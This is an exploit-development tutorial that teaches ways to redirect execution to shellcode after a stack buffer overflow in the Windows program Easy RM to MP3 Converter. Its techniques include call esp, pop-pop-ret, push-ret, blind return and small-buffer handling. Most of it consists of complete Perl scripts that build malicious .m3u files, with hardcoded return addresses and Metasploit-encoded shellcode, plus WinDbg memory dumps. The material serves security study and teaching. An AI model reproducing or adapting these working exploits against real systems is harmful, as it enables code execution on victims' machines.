Where do you want to jmp today ?
In one of my previous posts (part 1 of writing stack based buffer overflow exploits), I have explained the basisc about discovering a vulnerability and using that information to build a working exploit. In the example I have used in that post, we have seen that ESP pointed almost directly at the begin of our buffer (we only had to prepend 4 bytes to the shellcode to make ESP point directly at the shellcode), and we could use a “jmp esp” statement to get the shellcode to run.
Note : This tutorial heavily builds on part 1 of the tutorial series, so please take the time to fully read and understand part 1 before reading part 2.
The fact that we could use “jmp esp” was an almost perfect scenario. It’s not that ‘easy’ every time. Today I’ll talk about some other ways to execute/jump to shellcode, and finally about what your options are if you are faced with small buffer sizes.
There are multiple methods of forcing the execution of shellcode.
The techniques explained in this document are just examples. The goal of this post is to explain to you that there may be various ways to jump to your shellcode, and in other cases there may be only one (and may require a combination of techniques) to get your arbitrary code to run.
There may be many more methods to get an exploit to work and to work reliably, but if you master the ones listed here, and if you use your common sense, you can find a way around most issues when trying to make an exploit jump to your shellcode. Even if a technique seems to be working, but the shellcode doesn’t want to run, you can still play with shellcode encoders, move shellcode a little bit further and put some NOP’s before the shellcode… these are all things that may help making your exploit work.
Of course, it is perfectly possible that a vulnerability only leads to a crash, and can never be exploited.
Let’s have a look at the practical implementation of some of the techniques listed above.
call [reg]
If a register is loaded with an address that directly points at the shellcode, then you can do a call [reg] to jump directly to the shellcode. In other words, if ESP directly points at the shellcode (so the first byte of ESP is the first byte of your shellcode), then you can overwrite EIP with the address of “call esp”, and the shellcode will be executed. This works with all registers and is quite popular because kernel32.dll contains a lot of call [reg] addresses.
Quick example : assuming that ESP points to the shellcode : First, look for an address that contains the ‘call esp’ opcode. We’ll use findjmp :
findjmp.exe kernel32.dll esp Findjmp, Eeye, I2S-LaB Findjmp2, Hat-Squad Scanning kernel32.dll for code useable with the esp register 0x7C836A08 call esp 0x7C874413 jmp esp Finished Scanning kernel32.dll for code useable with the esp register Found 2 usable addresses
Next, write the exploit and overwrite EIP with 0x7C836A08.
From the Easy RM to MP3 example in the first part of this tutorial series, we know that we can point ESP at the beginning of our shellcode by adding 4 characters between the place where EIP is overwritten and ESP. A typical exploit would then look like this :
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 25; #start shellcode with some NOPS # windows/exec - 303 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
pwned !
pop ret
As explained above, In the Easy RM to MP3 example, we have been able to tweak our buffer so ESP pointed directly at our shellcode. What if there is not a single register that points to the shellcode ?
Well, in this case, an address pointing to the shellcode may be on the stack. If you dump esp, look at the first addresses. If one of these addresses points to your shellcode (or a buffer you control), then you can find a pop ret or pop pop ret (nothing to do with SEH based exploits here) to
- take addresses from the stack (and skip them)
- jump to the address which should bring you to the shellcode.
The pop ret technique obviously is only usabled when ESP+offset already contains an address which points to the shellcode… So dump esp, see if one of the first addresses points to the shellcode, and put a reference to pop ret (or pop pop ret or pop pop pop ret) into EIP. This will take some address from the stack (one address for each pop) and will then put the next address into EIP. If that one points to the shellcode, then you win.
There is a second use for pop ret : what if you control EIP, no register points to the shellcode, but your shellcode can be found at ESP+8. In that case, you can put a pop pop ret into EIP, which will jump to ESP+8. If you put a pointer to jmp esp at that location, then it will jump to the shellcode that sits right after the jmp esp pointer.
Let’s build a test case. We know that we need 26094 bytes before overwriting EIP, and that we need 4 more bytes before we are at the stack address where ESP points at (in my case, this is 0x000ff730).
We will simulate that at ESP+8, we have an address that points to the shellcode. (in fact, we’ll just put the shellcode behind it – again, this is just a test case).
26094 A’s, 4 XXXX’s (to end up where ESP points at), then a break, 7 NOP’s, a break, and more NOP’s. Let’s pretend the shellcode begins at the second break. The goal is to make a jump over the first break, right to the second break (which is at ESP+8 bytes = 0x000ff738).
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; #overwrite EIP my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my $shellcode = "\xcc"; #first break $shellcode = $shellcode . "\x90" x 7; #add 7 more bytes $shellcode = $shellcode . "\xcc"; #second break $shellcode = $shellcode . "\x90" x 500; #real shellcode open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
Let’s look at the stack :
Application crashed because of the buffer overflow. We’ve overwritten EIP with “BBBB”. ESP points at 000ff730 (which starts with the first break), then 7 NOP’s, and then we see the second break, which really is the begin of our shellcode (and sits at address 0x000ff738).
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.dll>+0x42424231: 42424242 ?? ??? 0:000> d esp 000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................ 000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ff738 000ff738 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff748 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff758 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff768 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff778 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff788 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff798 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7a8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
The goal is to get the value of ESP+8 into EIP (and to craft this value so it jumps to the shellcode). We’ll use the pop ret technique + address of jmp esp to accomplish this.
One POP instruction will take 4 bytes off the top of the stack. So the stack pointer would then point at 000ff734. Running another pop instruction would take 4 more bytes off the top of the stack. ESP would then point to 000ff738. When we a “ret” instruction is performed, the value at the current address of ESP is put in EIP. So if the value at 000ff738 contains the address of a jmp esp instruction, then that is what EIP would do. The buffer after 000ff738 must then contains our shellcode.
We need to find the pop,pop,ret instruction sequence somewhere, and overwrite EIP with the address of the first part of the instruction sequence, and we must set ESP+8 to the address of jmp esp, followed by the shellcode itself.
First of all, we need to know the opcode for pop pop ret. We’ll use the assemble functionality in windbg to get the opcodes :
0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
7c901211 ffcc dec esp
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
so the pop pop ret opcode is 0x58,0x5d,0xc3
Of course, you can pop to other registers as well. These are some other available pop opcodes :
pop register | opcode |
pop eax | 58 |
pop ebx | 5b |
pop ecx | 59 |
pop edx | 5a |
pop esi | 5e |
pop ebp | 5d |
Now we need to find this sequence in one of the available dll’s. In part 1 of the tutorial we have spoken about application dll’s versus OS dll’s. I guess it’s recommended to use application dll’s because that would increase the chances on building a reliable exploit across windows platforms/versions… But you still need to make sure the dll’s use the same base addresses every time. Sometimes, the dll’s get rebased and in that scenario it could be better to use one of the os dll’s (user32.dll or kernel32.dll for example)
Open Easy RM to MP3 (don’t open a file or anything) and then attach windbg to the running process.
Windbg will show the loaded modules, both OS modules and application modules. (Look at the top of the windbg output, and find the lines that start with ModLoad).
These are a couple of application dll’s
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
you can show the image base of a dll by running dumpbin.exe (from Visual Studio) with parameter /headers against the dll. This will allow you to define the lower and upper address for searches.
You should try to avoid using addresses that contain null bytes (because it would make the exploit harder… not impossible, just harder.)
A search in MSRMCcodec00.dll gives us some results :
0:014> s 01a90000 l 01b01000 58 5d c3 01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..QQ.E.. 01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X]..M..e..Qj..5l 01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...j........
Ok, we can jump to ESP+8 now. In that location we need to put the address to jmp esp (because, as explained before, the ret instruction will take the address from that location and put it in EIP. At that point, the ESP address will point to our shellcode which is located right after the jmp esp address… so what we really want at that point is a jmp esp)
From part 1 of the tutorial, we have learned that 0x01ccf23a refers to jmp esp.
Ok, let’s go back to our perl script and replace the “BBBB” (used to overwrite EIP with) with one of the 3 pop,pop,ret addresses, followed by 8 bytes (NOP) (to simulate that the shellcode is 8 bytes off from the top of the stack), then the jmp esp address, and then the shellcode.
The buffer will look like this :
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode] 26094 A's EIP 8 bytes offset JMP ESP (=POPPOPRET)
The entire exploit flow will look like this :
1 : EIP is overwritten with POP POP RET (again, this example has nothing to do with SEH based exploits. We just want to get a value that is on the stack into EIP). ESP points to begin of 8byte offset from shellcode
2 : POP POP RET is executed. EIP gets overwritten with 0x01ccf23a (because that is the address that was found at ESP+0x8). ESP now points to shellcode.
3 : Since EIP is overwritten with address to jmp esp, the second jump is executed and the shellcode is launched.
---------------------------------- | |(1) | | | ESP points here (1) | | | V [AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode] 26094 A's EIP 8 bytes offset JMP ESP ^ (=POPPOPRET) | | (2) |------| ESP now points here (2)
We’ll simulate this with a break and some NOP’s as shellcode, so we can see if our jumps work fine.
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll my $jmpesp = pack('V',0x01ccf23a); #jmp esp my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 8; #add more bytes $shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp) $shellcode = $shellcode . "\xcc" . "\x90" x 500; #real shellcode open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!) eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe eip=000ff73c esp=000ff73c ebp=90909090 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.dll>+0xff72b: 000ff73c cc int 3 0:000> d esp 000ff73c cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff74c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff75c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff76c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff77c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff78c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff79c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7ac 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Cool. that worked. Now let’s replace the NOPs after jmp esp (ESP+8) with real shellcode (some nops to be sure + shellcode, encoded with alpha_upper) (execute calc):
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll my $jmpesp = pack('V',0x01ccf23a); #jmp esp my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 8; #add more bytes $shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp) $shellcode = $shellcode . "\x90" x 50; #real shellcode # windows/exec - 303 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
pwned !
push return
push ret is somewhat similar to call [reg]. If one of the registers is directly pointing at your shellcode, and if for some reason you cannot use a jmp [reg] to jump to the shellcode, then you could
In order to make this work, you need to overwrite EIP with the address of a push [reg] + ret sequence in one of the dll’s.
Suppose the shellcode is located directly at ESP. You need to find the opcode for ‘push esp’ and the opcode for ‘ret’ first
0:000> a 000ff7ae push esp push esp 000ff7af ret ret 0:000> u 000ff7ae <Unloaded_P32.dll>+0xff79d: 000ff7ae 54 push esp 000ff7af c3 ret
opcode sequence is 0x54,0xc3
Search for this opcode :
0:000> s 01a90000 l 01dff000 54 c3 01aa57f6 54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0 T..........D$... 01b31d88 54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c T.....t]S.\$0W.L 01b5cd65 54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00 T...3........... 01b5cf2f 54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00 T..L$X.._^][d... 01b5cf44 54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04 T............... 01bbbb3e 54 c3 8b 4c 24 50 5e 33-c0 5b 64 89 0d 00 00 00 T..L$P^3.[d..... 01bbbb51 54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a T..............j 01bf2aba 54 c3 0c 8b 74 24 20 39-32 73 09 40 83 c2 08 41 T...t$ 92s.@...A 01c0f6b4 54 c3 b8 0e 00 07 80 8b-4c 24 54 5e 5d 5b 64 89 T.......L$T^][d. 01c0f6cb 54 c3 90 90 90 64 a1 00-00 00 00 6a ff 68 3b 84 T....d.....j.h;. 01c692aa 54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54 T......D$..L$..T 01d35a40 54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8 T..=..8.z...R... 01d4daa7 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2......V 01d55edb 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2......V 01d649c7 54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56 T..Mh../2......V 01d73406 54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20 T..-..:........ 01d74526 54 c3 da 4c 3b 43 11 e7-54 c3 cc 36 bb c3 f8 63 T..L;C..T..6...c 01d7452e 54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3 T..6...c;D...C.. 01d74b26 54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d T..c....wB8..B~. 031d3b18 54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff T...T...O....l.. 031d3b1c 54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff T...O....l..0...
Craft your exploit and run :
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = pack('V',0x01aa57f6); #overwrite EIP with push esp, ret my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes my $shellcode = "\x90" x 25; #start shellcode with some NOPS # windows/exec - 303 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, CMD=calc $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" . "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" . "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" . "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" . "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" . "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" . "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" . "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" . "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" . "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" . "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" . "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" . "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" . "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" . "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" . "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" . "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" . "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" . "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" . "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" . "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" . "\x31\x42\x4c\x42\x43\x45\x50\x41\x41"; open($FILE,">$file"); print $FILE $junk.$eip.$prependesp.$shellcode; close($FILE); print "m3u File Created successfully\n";
pwned again !
jmp [reg]+[offset]
Another technique to overcome the problem that the shellcode begins at an offset of a register (ESP in our example) is by trying to find a jmp [reg + offset] instruction (and overwriting EIP with the address of that instruction). Let’s assume that we need to jump 8 bytes again (see previous exercise). Using the jmp reg+offset technique, we would simply jump over the 8 bytes at the beginning of ESP and land directly at our shellcode.
We need to do 3 things :
Finding the opcode : use windbg :
0:014> a 7c90120e jmp [esp + 8] jmp [esp + 8] 7c901212 0:014> u 7c90120e ntdll!DbgBreakPoint: 7c90120e ff642408 jmp dword ptr [esp+8]
The opcode is ff642408
Now you can search for a dll that has this opcode, and use the address to overwrite EIP with. In our example, I could not find this exact opcode anywhere. Of course, you are not limited to looking for jmp [esp+8]… you could also look for values bigger than 8 (because you control anything above 8… you could easily put some additional NOP’s at the beginning of the shellcode and make the jump into the nop’s…
(by the way: Opcode for ret is c3. But I’m sure you’ve already figured that our for yourself)
Blind return
This technique is based on the following 2 steps:
So this technique is useful if
In order to set this up, you need to have the memory address of the shellcode (= the address of ESP). As usual, try to avoid that this address starts with / contains null bytes, or you will not be able to load your shellcode behind EIP. If your shellcode can be put at a location, and this location address does not contain a null byte, then this would be another working technique.
Find the address of a ‘ret’ instruction in one of the dll’s.
Set the first 4 bytes of the shellcode (first 4 bytes of ESP) to the address where the shellcode begins, and overwrite EIP with the address of the ‘ret’ instruction. From the tests we have done in the first part of this tutorial, we remember that ESP seems to start at 0x000ff730. Of course this address could change on different systems, but if you have no other way than hardcoding addresses, then this is the only thing you can do.
This address contains null byte, so when building the payload, we create a buffer that looks like this :
[26094 A’s][address of ret][0x000fff730][shellcode]
The problem with this example is that the address used to overwrite EIP contains a null byte. (= string terminator), so the shellcode is not put in ESP. This is a problem, but it may not be a showstopper. Sometimes you can find your buffer (look at the first 26094 A’s, not at the ones that are pushed after overwriting EIP, because they will be unusable because of null byte) back at other locations/registers, such as eax, ebx, ecx, etc… In that case, you could try to put the address of that register as the first 4 bytes of the shellcode (at the beginning of ESP, so directly after overwriting EIP), and still overwrite EIP with the address of a ‘ret’ instruction.
This is a technique that has a lot of requirements and drawbacks, but it only requires a “ret” instruction… Anyways, it didn’t really work for Easy RM to MP3.
Dealing with small buffers : jumping anywhere with custom jumpcode
We have talked about various ways to make EIP jump to our shellcode. In all scenario’s, we have had the luxury to be able to put this shellcode in one piece in the buffer. But what if we see that we don’t have enough space to host the entire shellcode ?
In our exercise, we have been using 26094 bytes before overwriting EIP, and we have noticed that ESP points to 26094+4 bytes, and that we have plenty of space from that point forward. But what if we only had 50 bytes (ESP -> ESP+50 bytes). What if our tests showed that everything that was written after those 50 bytes were not usable ? 50 bytes for hosting shellcode is not a lot. So we need to find a way around that. So perhaps we can use the 26094 bytes that were used to trigger the actual overflow.
First, we need to find these 26094 bytes somewhere in memory. If we cannot find them anywhere, it’s going to be difficult to reference them. In fact, if we can find these bytes and find out that we have another register pointing (or almost pointing) at these bytes, it may even be quite easy to put our shellcode in there.
If you run some basic tests against Easy RM to MP3, you will notice that parts of the 26094 bytes are also visible in the ESP dump :
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB"; my $preshellcode = "X" x 54; #let's pretend this is the only space we have available my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data open($FILE,">$file"); print $FILE $junk.$eip.$preshellcode.$nop; close($FILE); print "m3u File Created successfully\n";
After opening the test1.m3u file, we get this :
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715 eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. Missing image name, possible paged-out or corrupt data. <Unloaded_P32.dll>+0x42424231: 42424242 ?? ??? 0:000> d esp 000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX 000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX.............. 000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:000> d 000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 000ff840 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .........AAAAAAA 000ff850 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff860 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff870 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
We can see our 50 X’s at ESP. Let’s pretend this is the only space available for shellcode (we think). However, when we look further down the stack, we can find back A’s starting from address 000ff849 (=ESP+281).
When we look at other registers, there’s no trace of X’s or A’s. (You can just dump the registers, or look for a number of A’s in memory.
